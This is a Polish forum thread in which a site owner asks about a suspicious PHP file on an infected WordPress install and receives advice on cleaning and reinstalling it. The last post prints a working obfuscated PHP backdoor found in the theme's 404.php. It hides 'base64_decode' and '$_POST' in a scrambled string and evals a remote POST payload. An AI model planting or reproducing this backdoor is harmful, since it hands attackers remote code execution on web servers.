dziwne pliki na serwerze

[Eldoka]

witam,

znalazłem plik o nazwie accountXSd.php , który wydaje mi się podejrzany.

Ktoś wie co on robi, bo nie znalazłem info w internecie o nim. To wirus?

https://pastebin.com/r6TX5CiB

[maqriusz182]

Msz zainfekowanego całego wordpressa, musisz sprawdzić wszystkie katalogi na serwerze i wywal ten kod z forum bo Ciebie wywalą

[Eldoka]

jak wyleczyć wordpressa?

[maqriusz182]

Cała templatka napeno jest zainfekowana więc jak nie potrafisz znanaleźć wszystkich "be" kodów najprościej jest zmienić na nową czystą.Po kolei wywal wszystkie pliki wordpressa oprócz config.php, katalog uploads sprawdź czy nie znajdują się w nim jakieś podejrzane pliki, w uploads mają być tylko fotki, wywal wszystkie wtyczki, wyczyść ftp wruć nowego wp wrzuć config.php doinstaluj potrzebne wtyczki ...

[Eldoka]

nic mi nie dodał do samej strony. Dziwne. Nie ma kodu zainfekowanego js na stronie. Tylko ten dziwny plik php. Co on robi?

[maqriusz182]

a 404.php ?

[Eldoka]

szacunek dla Ciebie. faktycznie ! doczepili coś takiego:

$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n571d85'];if(isset($s22)){eval($s21($s22));}?>